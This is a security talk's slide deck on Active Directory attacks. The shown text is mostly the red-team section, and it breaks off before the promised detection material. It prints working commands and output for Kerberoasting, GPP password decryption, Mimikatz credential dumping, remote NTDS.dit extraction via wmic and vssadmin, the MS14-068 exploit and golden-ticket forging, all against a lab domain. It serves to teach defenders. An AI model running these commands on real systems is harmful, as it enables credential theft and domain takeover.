Red vs. Blue: Modern Active Directory Attacks, Detection, & Protection

Sean Metcalf
sean [@] adsecurity.org
http://www.ADSecurity.org
About

- Chief Technology Officer - DAn Solutions
- Microsoft Certified Master (MCM) Directory Services
- Security Researcher / Purple Team
- Security Info -> [ADSecurity.org](http://ADSecurity.org)
Agenda

- Deep Web
- Evil Code
- Cyber, Cyber, and more CYBER!
Agenda

- Introduction
- Red Team
  - Recon
  - Breach
  - Escalate - Getting DA in AD
  - Persist - Forging Kerberos Tickets
- Blue Team
  - Detecting Forged Kerberos Tickets
  - Active Directory Attack Mitigation
Paradigm Shift: ASSUME BREACH

- According to Mandiant M-Trends 2015 report
  - Intrusion average detection time:
    - 2013: 229 days
    - 2014: 205 days (> 6 months!)
  - Longest Presence: 2,982 days (>8 years!)
  - 69% of organizations learned of the breach from outside entity
Perimeter Defenses Are Easily Bypassed
Assume Breach Means: Layered Defense
Kerberos TGT Ticket
Kerberos Overview
Kerberos Key Points

- NTLM password hash for Kerberos RC4 encryption.
- Logon Ticket (TGT) provides user auth to DC.
- Kerberos policy only checked when TGT is created.
- DC validates user account only when TGT > 20 mins.
- Service Ticket (TGS) PAC validation is optional & rare.
  - Server LSASS sends PAC Validation request to DC’s netlogon service (NRPC)
  - If it runs as a service, PAC validation is optional (disabled)
  - If a service runs as System, it performs server signature verification on the PAC (computer account long-term key).
Red Team (Offense)
Attacker Goals

- Data Access & Exfiltration
  - Email
  - Shares
  - SharePoint

- Persistence
  - AutoRun
  - WMI
  - “Sticky Keys”
  - PowerShell
PowerShell Overview

- Dave Kennedy: “Bash for Windows”
- Available by default in supported Windows versions
  - v2: Win 7 / Win 2k8R2
  - v3: Win 8 / Win 2012
  - v4: Win 8.1 / Win 2012R2
- Provides access to WMI & COM
- Leverages .Net Framework
- Microsoft binary = whitelisted
- Download & run code in memory
- Get-AllTheThings!
Offensive PowerShell

- PowerSploit
  - Invoke-Mimikatz (updated 2/16/2015)
  - Invoke-TokenManipulation
  - Invoke-Shellcode
  - Get-GPPPassword
  - Persistence

- PowerView
  - Hunting Sys Admins
“SPN Scanning”: Service Discovery

- SQL servers, instances, ports, etc.
  - `MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433`

- Exchange
  - `exchangeMDB/adsmsEXCAS01.adsecurity.org`

- RDP
  - `TERMSERV/adsmsEXCAS01.adsecurity.org`

- WSMan/WinRM/PS Remoting
  - `WSMAN/adsmsEXCAS01.adsecurity.org`

- Hyper-V Host
  - `Microsoft Virtual Console Service/adsmsHV01.adsecurity.org`

- VMWare VCenter
  - `STS/adsmsVC01.adsecurity.org`
SPN Scanning for MS SQL Servers with Discover-PSMSSQLServers

Domain : lab.adsecurity.org
ServerName : adSMSSQL02.lab.adsecurity.org
Port : 9834
Instance :
ServiceAccountDN : {CN=svc-adsSQLSA,OU=TestServiceAccounts,DC=lab,DC=adsecurity,DC=org}
OperatingSystem : {Windows Server 2008 R2 Datacenter}
OSServicePack : {Service Pack 1}
LastBootup : 3/8/2015 1:07:25 AM
OSVersion : {6.1 (7601)}
Description : {Production SQL Server}
SrvAcctUserID : svc-adsSQLSA
SrvAcctDescription : SQL Server Service Account

Domain : lab.adsecurity.org
ServerName : adSMSSQL04.lab.adsecurity.org
Port : 1434
Instance :
ServiceAccountDN : {CN=svc-adsSQLSA,OU=TestServiceAccounts,DC=lab,DC=adsecurity,DC=org}
OperatingSystem : {Windows Server 2012 Datacenter}
OSServicePack :
LastBootup : 3/8/2015 1:10:57 AM
OSVersion : {6.2 (9200)}
Description : {Production SQL Server}
SrvAcctUserID :
SrvAcctDescription : SQL Server Service Account
Getting Domain Admin in Active Directory

- Poor Service Account Passwords
- Passwords in SYSVOL
- Credential Theft
- Misconfiguration / Incorrect Perms
- Exploit Vulnerability
Admins Bypass Password Policy

PasswordLastSet: 1/3/2015 1:43:11 PM
PasswordLastSet: 2/2/2015 9:26:55 PM
Detecting Password Policy Bypass

```powershell
PS C:\Windows\system32> repadmin /showobjmeta adsdC02.lab.adsecurity.org "CN=svc-SQLReporting,OU=Service,DC=adsecurity,DC=org"

<table>
<thead>
<tr>
<th>Loc.USN</th>
<th>Originating DSA</th>
<th>Org.USN</th>
<th>Org.Time/Date</th>
<th>Ver</th>
<th>Attribute</th>
</tr>
</thead>
<tbody>
<tr>
<td>115541</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115541</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>objectClass</td>
</tr>
<tr>
<td>115541</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115541</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>cn</td>
</tr>
<tr>
<td>115541</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115541</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>instanceType</td>
</tr>
<tr>
<td>115541</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115541</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>whenCreated</td>
</tr>
<tr>
<td>115541</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115541</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>displayName</td>
</tr>
<tr>
<td>115541</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115541</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>nTSecurityDescriptor</td>
</tr>
<tr>
<td>115541</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115541</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>name</td>
</tr>
<tr>
<td>115541</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115541</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>userAccountControl</td>
</tr>
<tr>
<td>115542</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115542</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>codePage</td>
</tr>
<tr>
<td>115542</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115542</td>
<td>2014-12-28 19:17:25</td>
<td>1</td>
<td>countryCode</td>
</tr>
<tr>
<td>177271</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>177271</td>
<td>2015-01-03 13:43:11</td>
<td>4</td>
<td>dBCSPwd</td>
</tr>
<tr>
<td>177271</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>177271</td>
<td>2015-01-03 13:43:11</td>
<td>4</td>
<td>logonHome</td>
</tr>
<tr>
<td>177271</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>177271</td>
<td>2015-01-03 13:43:11</td>
<td>4</td>
<td>logonHome</td>
</tr>
<tr>
<td>177271</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>177271</td>
<td>2015-01-03 13:43:11</td>
<td>4</td>
<td>logonHome</td>
</tr>
<tr>
<td>330652</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>330652</td>
<td>2015-02-02 21:26:55</td>
<td>6</td>
<td>pwdLastSet</td>
</tr>
<tr>
<td>115542</td>
<td>Default-First-Site-Name\ADSDC02</td>
<td>115542</td>
<td>2015-02-02 21:26:55</td>
<td>6</td>
<td>pwdLastSet</td>
</tr>
</tbody>
</table>
```

<table>
<thead>
<tr>
<th>AccountID</th>
<th>Domain</th>
<th>PasswordLastSet</th>
<th>PasswordLastChanged</th>
<th>PasswordChanged</th>
</tr>
</thead>
<tbody>
<tr>
<td>svc-SQLReporting</td>
<td>lab.adsecurity.org</td>
<td>2/2/2015 9:26:55 PM</td>
<td>1/3/2015 1:43:00 PM</td>
<td>False</td>
</tr>
</tbody>
</table>
SPN Scanning for Service Accounts with Find-PSServiceAccounts

<table>
<thead>
<tr>
<th>Domain</th>
<th>lab.adsecurity.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>UserID</td>
<td>krbtgt</td>
</tr>
<tr>
<td>Description</td>
<td>Key Distribution Center Service Account</td>
</tr>
<tr>
<td>SPN Servers</td>
<td></td>
</tr>
<tr>
<td>SPN Types</td>
<td>{kadmin}</td>
</tr>
<tr>
<td>ServicePrincipalNames</td>
<td>{kadmin/changepw}</td>
</tr>
<tr>
<td>PasswordLastSet</td>
<td>03/18/2015 03:48:31</td>
</tr>
<tr>
<td>LastLogon</td>
<td>01/01/1601 00:00:00</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Domain</th>
<th>lab.adsecurity.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>UserID</td>
<td>svc-SQLAgent01</td>
</tr>
<tr>
<td>PasswordLastSet</td>
<td>01/03/2015 18:42:01</td>
</tr>
<tr>
<td>LastLogon</td>
<td>12/29/2014 00:18:02</td>
</tr>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>SPN Servers</td>
<td>{ADSAPPSQL01.lab.adsecurity.org, ADSAPPSQL02.lab.adsecurity.org, ADSAPPSQL03.lab.adsecurity.org}</td>
</tr>
<tr>
<td>SPN Types</td>
<td>{MSSQLSvc}</td>
</tr>
<tr>
<td>ServicePrincipalNames</td>
<td>{MSSQLSvc/ADSAPPSQL01.lab.adsecurity.org:1433, MSSQLSvc/ADSAPPSQL02.lab.adsecurity.org:1433, MSSQLSvc/ADSAPPSQL03.lab.adsecurity.org:1433}</td>
</tr>
</tbody>
</table>

SPN Directory: [http://adsecurity.org/?page_id=183](http://adsecurity.org/?page_id=183)
Cracking Service Account Passwords (Kerberoast)

✧ Request/Save TGS service tickets & crack offline.
✧ “Kerberoast” python-based TGS password cracker
✧ No elevated rights required!
✧ No traffic sent to target!

Reference: Tim Medin “Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades”
https://www.youtube.com/watch?v=PUyhIN-E5MU
Group Policy Preferences (GPP)

- Authenticated Users have read access to SYSVOL
- Configuration data xml stored in SYSVOL
- Password is AES-256 encrypted (& base64)
- Credential Use Cases:
  - Map drives
  - Create Local Users
  - Data Sources
  - Create/Update Services
  - Scheduled Tasks
  - Change local Administrator passwords
Exploiting Group Policy Preferences

✦ The private key is publicly available on MSDN

2.2.1.1 Preferences Policy File Format
- 2.2.1.1.1 Common XML Schema
- 2.2.1.1.2 Outer and Inner Element Names and CLSIDs
- 2.2.1.1.3 Common XML Attributes
- 2.2.1.1.4 Password Encryption
- 2.2.1.1.5 Expanding Environment Variables

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3>

The 32-byte AES key is as follows:

48 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
Exploiting Group Policy Preferences

\<\<\<\$\Y\Y\$\>\> <DOMA\Y\N>\SYSVOL<DOMA\Y\N>\Policies\>

```xml
<?xml version="1.0" encoding="utf-8" ?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-02-18 01:53:01" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
    <Properties action="U" newName="ADSAdmin" fullName="" description=""
      cpassword="RI133B2Wl2CiIOcau1DtrtTe3wdFwzCiWB5PSAxDMDstchJt3bl0Uie0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ"
      changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)" expires="2015-02-17" />
  </User>
</Groups>
```

PS C:\temp> Get-DecryptedCpassword 'RI133B2Wl2CiIOcau1DtrtTe3wdFwzCiWB5PSAxDMDstchJt3bl0Uie0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ #Super@Secure&Password$2015?
The GPP Credential Vulnerability Fix?

- Vulnerability in GPP could allow elevation of privilege (May 13, 2014)
- MS14-025 (KB2962486)
- Install on all systems with RSAT
- *Passwords are not removed from SYSVOL*
Mimikatz: The Credential Multi-tool

- Dump credentials
  - Windows protected memory (LSASS). *
  - Active Directory Domain Controller database . *
- Dump Kerberos tickets
  - for all users. *
  - for current user.
- Credential Injection
  - Password hash (pass-the-hash)
  - Kerberos ticket (pass-the-ticket)
- Generate Silver and/or Golden tickets (depending on password hash available).

* Requires debug or system rights
Dump Credentials with Mimikatz

```bash
Dump Credentials with Mimikatz

sekurlsa::logonpasswords

Authentication Id : 0 ; 5008494 (00000000:004da4ee)
Session : Interactive from 2
User Name : hansolo
Domain : ADSECLAB
SID : S-1-5-21-1473643419-774954089-222239121

msv :

[1000000001] Primary
* Username : Hansolo
* Domain : ADSECLAB
* LM : 6ce8de51bc4919e01987a75d0b0b375a
* NTLM : 269c0e63a523b2ed524df861c91b82818
* SHA1 : 660dd1fc6bb94f321fbbd58bfc19a148928b

tskg :
* Username : Hansolo
* Domain : ADSECLAB
* Password : Falcon99!

wdigest :
* Username : Hansolo
* Domain : ADSECLAB
* Password : Falcon99!

kerberos :
* Username : Hansolo
* Domain : LAB.ADSECURITY.ORG
* Password : Falcon99!

ssp :
credman :
```

Authentication Id : 0 ; 2858340 (00000000:002b9d64)
Session : Service from 0
User Name : svc-SQLDBEngine01
Domain : ADSECLAB
SID : S-1-5-21-1473643419-774954089-222239121

msv :

[1000000001] Primary
* Username : svc-SQLDBEngine01
* Domain : ADSECLAB
* NTLM : d0abfc0cb689f4cdcc8959a1411499096
* SHA1 : 467f0516e6155eed6068827b0a4dab5ee

tskg :
* Username : svc-SQLDBEngine01
* Domain : ADSECLAB
* Password : ThisIsAGoodPassword99!

wdigest :
* Username : svc-SQLDBEngine01
* Domain : ADSECLAB
* Password : ThisIsAGoodPassword99!

kerberos :
* Username : svc-SQLDBEngine01
* Domain : LAB.ADSECURITY.ORG
* Password : ThisIsAGoodPassword99!

ssp :
credman :
```
Default Logon Rights to Domain Controllers

- Enterprise Admins (admin on all DCs in the forest),
- Domain Admins
- Administrators
- Backup Operators
- Server Admins
- Account Operators
- Print Operators
- Other groups delegated in your environment
Account Operators Can Logon to DCs?

✧ Compromise “HelpDeskSteve” and compromise the domain.
Dumping AD Domain Credentials

- Dump credentials on DC (local or remote).
  - Run Mimikatz (WCE, etc) on DC.
  - Invoke-Mimikatz on DC via PS Remoting.
- Get access to the NTDS.dit file & extract data.
  - Copy AD database from remote DC.
  - Grab AD database copy from backup.
  - Get Virtual DC data.
Dump AD Credentials with Mimikatz

```powershell
mimikatz(powershell) # lsadump::samrpc /patch
Domain : ADSECLAB / S-1-5-21-1473643419-774954089-2222329127

RID : 000001f4 (500)
User : Administrator
LM : 
NTLM : 6f40d9c1cab7f73d298dc3d94163543d

RID : 000001f5 (501)
User : Guest
LM : 
NTLM :

RID : 000001f6 (502)
User : krbtgt
LM : 
NTLM : 7e2a0e20851d0229f2489210b6576ede

RID : 000003e8 (1000)
User : admin
LM : 
NTLM : 7c08d63a2f48f045971bc2236ed3f3ac

RID : 00000452 (1106)
User : LukeSkywalker
LM : 
NTLM : 177af8ab46321ceef22b4e8376f2dba7
```
Remotely Grab the DIT!

```powershell
PS C:\Windows\system32> wmic /node:adsdc02 /user:ADSECLAB\hansolo /password:Falcon99! process call create "cmd /c vssadmin create shadow /for=c:2\&1 > c:\vss.log"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
  instance of __PARAMETERS
    ProcessId = 1540;
    ReturnValue = 0;
```

```
process call create "cmd /c vssadmin create shadow /for=c:2\&1"
```

```powershell
PS C:\Windows\system32> wmic /node:ADS02 /user:ADSECLAB\HanSolo /password:Falcon99! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\windows\temp\NTDS.dit 2>&1 > c:\vss2.log"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
  instance of __PARAMETERS
    ProcessId = 604;
    ReturnValue = 0;
```

```
Copy NTDS.dit file from VSS snapshot to DC's c: drive
```

```powershell
PS C:\Windows\system32> wmic /node:ADS02 /user:ADSECLAB\HanSolo /password:Falcon99! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\windows\temp\SYSTEM.hive 2>&1 > c:\vss2.log"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
  instance of __PARAMETERS
    ProcessId = 1844;
    ReturnValue = 0;
```

```
Copy SYSTEM registry hive from VSS to DC's c: drive
```

```powershell
PS C:\Windows\system32> copy \\adsdc02\c$\windows\temp\ntds.dit c:\temp
PS C:\Windows\system32> copy \\adsdc02\c$\windows\temp\system.hive c:\temp
```
Remotely Grab the DIT using Pass The Ticket

c:\Temp>wmic /authority:"kerberos:ADSECLAB\ADSDC02" /node:ADSDC02 process list /?\GLOBALROOT\Device\HardDiskVolumeShadowCopy1\Windows\NTDS.dit c:\\windows\\appdata\\local\\temp\\\testfile.txt
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
    ProcessId = 1256;
}

c:\Temp>wmic /authority:"kerberos:ADSECLAB\ADSDC02" /node:ADSDC02 process list c:\\windows\\appdata\\local\\temp\\\testfile.txt
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
    ProcessId = 2156;
    ReturnValue = 0;
}
Instead of VSS, why not leverage NTDSUtil?

```powershell
PS C:\Users\Administrator.ADSECLAB> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {5113733a-e9ba-430f-a320-c1168d2f62e2} generated successfully.
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} mounted as C:\$SNAP_201503242343_VOLUMEC$\Windows\NTDS\ntds.dit
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} is already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_201503242343_VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: c:\temp\Active Directory\ntds.dit

Defragmentation Status (% complete)

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>-----</td>
<td>-----</td>
<td>-----</td>
<td>-----</td>
<td>-----</td>
<td>-----</td>
<td>-----</td>
<td>-----</td>
<td>-----</td>
<td>-----</td>
</tr>
</tbody>
</table>

Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
```
The Back Door: DC Backups!

셼 Are your DC backups properly secured?

셼 Are they on a network share?

셼 Are they on a NAS device?

셼 Who has access?
Exploiting Virtual Domain Controllers

- Where are your DC virtual hard drives stored?
- Who administers the virtual server hosting the DCs?
- Are your VMWare/Hyper-V host admins considered Domain Admins?

*Hint: They should be.*
Dump Password Hashes from NTDS.dit

```
root@kali:/opt/impacket-0.9.11# secretsdump.py -system /opt/ntds/system.hive -ntds /opt/ntds/ntds.dit LOCAL
Impacket v0.9.11 - Copyright 2002-2014 Core Security Technologies

[*] Target system bootKey: 0x47f313875531b01e41a749186116575b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 0xc84e1ce7a0a057df160a8d8f9b86d98c
[*] Reading and decrypting hashes from /opt/ntds/ntds.dit
ADSDC02$:2101:aad3b435b51404eeaad3b435b51404ee:eeac459f6664fe083b734a1898c9704e::
ADSDC01$:1000:aad3b435b51404eeaad3b435b51404ee:400c1c111513a3a988671069ef7fee58::
ADSDC05$:1104:aad3b435b51404eeaad3b435b51404ee:aabbc5e3df7bf11ebcad1b807a065d89::
ADSDC04$:1105:aad3b435b51404eeaad3b435b51404ee:840c1a91da2670b6d5bd1927e6299f27::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c89c0::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7c08d63a2f48f045971bc2236ed3f3ac::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8a2f1adcd519a2e515780021d2d178a::
lab.adsecurity.org\Admin:1103:aad3b435b51404eeaad3b435b51404ee:7c08d63a2f48f045971bc2236ed3f3ac::
lab.adsecurity.org\LukeSkywalker:2601:aad3b435b51404eeaad3b435b51404ee:177af8ab46321ce8::
lab.adsecurity.org\HanSolo:2602:aad3b435b51404eeaad3b435b51404ee:269c0c63a623b2e062dfdd::
lab.adsecurity.org\JoeUser:2605:aad3b435b51404eeaad3b435b51404ee:7c08d63a2f48f045971bc2236ed3f3ac::
ADSWKWIN7$:2606:aad3b435b51404eeaad3b435b51404ee:70553133c63b5dfffacffaf66675fdbe::
```
MS14-068: (Microsoft) Kerberos Vulnerability

- MS14-068 (CVE-2014-6324) Patch released 11/18/2014
- Domain Controller Kerberos (KDC) Service didn’t correctly validate the PAC checksum.
- Create a Kerberos “Golden Ticket” using a valid AD user account.

http://adsecurity.org/?tag=ms14068
MS14-068: Exploit Process

- **AS-REQ:** Request a TGT with no PAC as standard user.
- **AS-REP:** DC replies with the TGT (no PAC).
- Generate a forged PAC (MD5) signed with user pw hash.
- **TGS-REQ:** Send the PAC-less TGT to the DC with the forged PAC as an Authorization-Data.
- DC creates a new TGT & inserts the forged PAC in its own Authorization-Data.
- **TGS-REP:** TGT with forged PAC sent to user - Domain Admin! (on vulnerable DCs)
MS14-068 (PyKEK) Stage 1

- “PyKEK” Python script exploit released 12/5/2014
- Limited success with patched or Win2012/2012R2 DC in site
MS14-068 (Mimikatz) Exploit Stage 2

✦ Use Mimikatz to inject forged TGT.
✦ Domain Admin rights on vulnerable DCs.

```bash
nimikatz(commandline) # kerberos::ptc c:\temp\pykek\TGT_bobafett@lab.adsecurity.org.ccache
Principal : (O1) : bobafett ; @ LAB.ADSECURITY.ORG
Data 0
Start/End/MaxRenew: 2/8/2015 7:54:10 PM ; 2/9/2015 5:54:10 AM ; 2/15/2015 7:54:10 PM
Service Name (O1) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (O1) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name (O1) : bobafett ; @ LAB.ADSECURITY.ORG
Flags 58a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x000000017 - rc4_hmac_nt
  04f2a374032b0477c6195fdac06721c5
Ticket : 0x00000000 - null ; kwno = 2
* Injecting ticket : OK

nimikatz(commandline) # exit
Bye!
c:\Temp\pykek\net use \\adsdc02.lab.adsecurity.org\admin$
The command completed successfully.
```
MS14-068 Kekeo Exploit

- 1/4/2015: Benjamin Delpy wrote a MS14-068 exploit & tweeted capability & screenshots - public as of 3/15/2015!
- Success: Patched or Win2012/2012R2 DCs in the same site.
- Automatically discovers the vulnerable DC & targets it!
- Additional steps making TGT valid for all DCs.
  - Send new TGT to vulnerable DC, asking for Delegation ticket
  - DC creates new TGT & sign PAC (HMAC_MD5) & its krbtgt key
  - TGT with forged PAC sent to user – valid DA ticket on all DCs
User to Admin in 5 Minutes?
“Victims quickly learned that the path from a few infected systems to complete compromise of an Active Directory domain could be incredibly short.”

“Kerberos Attacks: After gaining domain administrator privileges, attackers used the Kerberos golden ticket attack to authenticate as any privileged account—even after domain password resets.”

- Mandiant M-Trends 2015 report
Forging Kerberos Golden/Silver Tickets

- Requires KRBTGT pw hash / service account pw hash.
- Forged TGT (Golden Ticket) bypasses all user restrictions.
- Create anywhere & use on any computer on the network.
- No elevated rights required to create/use.
  - Impersonate existing user.
  - Invent a fictional user with elevated rights.
  - *Spoof access without changing group membership*
- User password changes have no impact on forged ticket!
KRBTGT: The AD Kerberos Service Account

- KRBTGT account: disabled and not visible.
- Sign/encrypt AD Kerberos tickets
- Pwd set when domain created & (almost) never changes
  - Password changes when DFL -> 2008 (or newer).
- Current & Previous Password valid for Kerberos tickets
- KRBTGT password exposed? Requires changing twice!
- Microsoft KRBTGT password change script on TechNet
- RODC Kerberos Account: KRBTGT_#####.
### KRBTGT: The AD Service Account

```powershell
PS C:\> get-aduser -filter {name -like "krbtgt="} -prop Name,Created,PasswordLastSet,msDS-KeyVersionNumber,msDS-KrbTgtLinkBl
```

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Created</td>
<td>2/16/2015 10:36:11 PM</td>
</tr>
<tr>
<td>DistinguishedName</td>
<td>CN=krbtgt,CN=Users,DC=lab,DC=adsecurity,DC=org</td>
</tr>
<tr>
<td>Enabled</td>
<td>False</td>
</tr>
<tr>
<td>GivenName</td>
<td></td>
</tr>
<tr>
<td>msDS-KeyVersionNumber</td>
<td>2</td>
</tr>
<tr>
<td>Name</td>
<td>krbtgt</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>user</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>91c05e7f-cec2-4698-990d-327cc3023f3c</td>
</tr>
<tr>
<td>PasswordLastSet</td>
<td>2/16/2015 10:36:11 PM</td>
</tr>
<tr>
<td>SamAccountName</td>
<td>krbtgt</td>
</tr>
<tr>
<td>SID</td>
<td>5-1-5-21-1387203482-2957264255-828990924-502</td>
</tr>
<tr>
<td>Surname</td>
<td></td>
</tr>
<tr>
<td>UserPrincipalName</td>
<td></td>
</tr>
</tbody>
</table>

| Created                   | 2/19/2015 9:21:11 PM                                               |
| DistinguishedName         | CN=krbtgt_27140,CN=Users,DC=lab,DC=adsecurity,DC=org               |
| Enabled                   | False                                                                |
| GivenName                 |                                                                      |
| msDS-KeyVersionNumber     | 1                                                                    |
| Name                      | krbtgt_27140                                                         |
| ObjectClass               | user                                                                 |
| ObjectGUID                | c64aeabb-fee4-460b-8b02-7d1f93f0574a                                 |
| PasswordLastSet           | 2/19/2015 9:21:12 PM                                               |
| SamAccountName            | krbtgt_27140                                                         |
| SID                       | 5-1-5-21-1387203482-2957264255-828990924-1107                       |
| Surname                   |                                                                      |
| UserPrincipalName         |                                                                      |
The Golden Ticket (Forged TGT)

- Encrypted/Signed by KRBTGT (RID 502).
- Bypasses Smart Card authentication requirement
- Golden Ticket options:
  - Impersonate existing Domain Admin
  - Create Fictitious user
  - Spoof access by adding groups to the ticket
  - Impersonate C-level executive access
- Where are the crown jewels?
Golden Ticket (Forged TGT) Communication

1. User’s Workstation sends TGS REQ (present TGT, request TGS)
2. Domain Controller sends TGS REP (receive TGS)
3. TGS REQ (present TGT, request TGS)
4. TGS REP (receive TGS)
5. AP REQ (present TGS for access)
6. AP REP (optional, used when mutual authentication is requested)
Forging a Golden Ticket: KRBTGT NTLM Hash

mimikatz(commandline) # lsadump::lsa /name:krbtgt /inject
Domain: ADSECLAB / S-1-5-21-1387203482-2957264255-828990924
RID: 000001f6 (502)
User: krbtgt

* Primary
  LM: 
  NTLM: cdc53c282915380a09750f5657ea41c7

mimikatz(commandline) # sekurlsa::krbtgt

Current krbtgt  5 credentials
  > rc4_hmac_nt  - cdc53c282915380a09750f5657ea41c7
  > rc4_hmac_old - cdc53c282915380a09750f5657ea41c7
  > rc4_md4       - cdc53c282915380a09750f5657ea41c7
  > aes256_hmac   - 9e7f2db9129e87fa21c9270760887391a2b2af62b5fc740c10e91438d6c72e4a
  > aes128_hmac   - ae09064436606995c5261286371bf30

Previous krbtgt  8 credentials
  > rc4_hmac_nt  - b0fc53bda6af599699d35f425b878c22
  > rc4_hmac_nt  - 9028e28c02701864c24d50afe3e5355d
  > rc4_hmac_old - b0fc53bda6af599699d35f425b878c22
  > rc4_md4       - b0fc53bda6af599699d35f425b878c22
  > aes256_hmac   - 30007d1c82c9d39d205b2b546170c080d4d05f81f817162a830c9124cef370
  > aes128_hmac   - fc76e1057be20ba273c89c287771f7e7
Forging a Golden Ticket: Domain Admins

```plaintext
-distinguishedName : CN=Administrator,CN=Users,DC=lab,DC=adsecurity,DC=org
name : Administrator
objectClass : user
objectGUID : 94eeccd70-dd61-4db9-ab86-741e44647853
SamAccountName : Administrator
SID : S-1-5-21-1387203482-2957264255-828990924-500

distinguishedName : CN=Luke Skywalker,OU=Admin Accounts,OU=AD Administration,DC=lab,DC=adsecurity,DC=org
name : Luke Skywalker
objectClass : user
objectGUID : a5dfc95e-53e2-4652-9e38-fff48a517338
SamAccountName : LukeSkywalker
SID : S-1-5-21-1387203482-2957264255-828990924-2601
```
Forging a Golden Ticket: Impersonate Valid DA
Forging a Golden Ticket: Fictional User

mimikatz(commandline) # kerberos::golden /admin:DarthVader /domain:lab.adsecurity.org /id:2601 /sid:S-1-5-21-1387203482-2957264255-829990924 /startoffset:0 /payload:0x2f1adcc517a2e515780021d2d178a /starttime:2015-03-12T09:44:08Z /endtime:2015-03-19T09:44:08Z /renewmax:10800

User : DarthVader
Domain : lab.adsecurity.org
SID : S-1-5-21-1387203482-2957264255-829990924
User Id : 2601
Groups Id : 513 512 520 518 519
ServiceKey: 82f1adcc517a2e515780021d2d178a - rc4_hmac_nt
Lifetime : 3/12/2015 9:44:08 PM ; 3/13/2015 7:44:00 AM ; 3/19/2015 9:44:08 PM

Ticket : **Pass The Ticket**

* PDC generated
* PDC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'DarthVader @ lab.adsecurity.org' successfully submitted for current session

mimikatz(commandline) # exit
Bye!
PS C:\Users\JoeUser> klist

Current LogonId is 0:0xdad83
Cached Tickets: <1>

#0
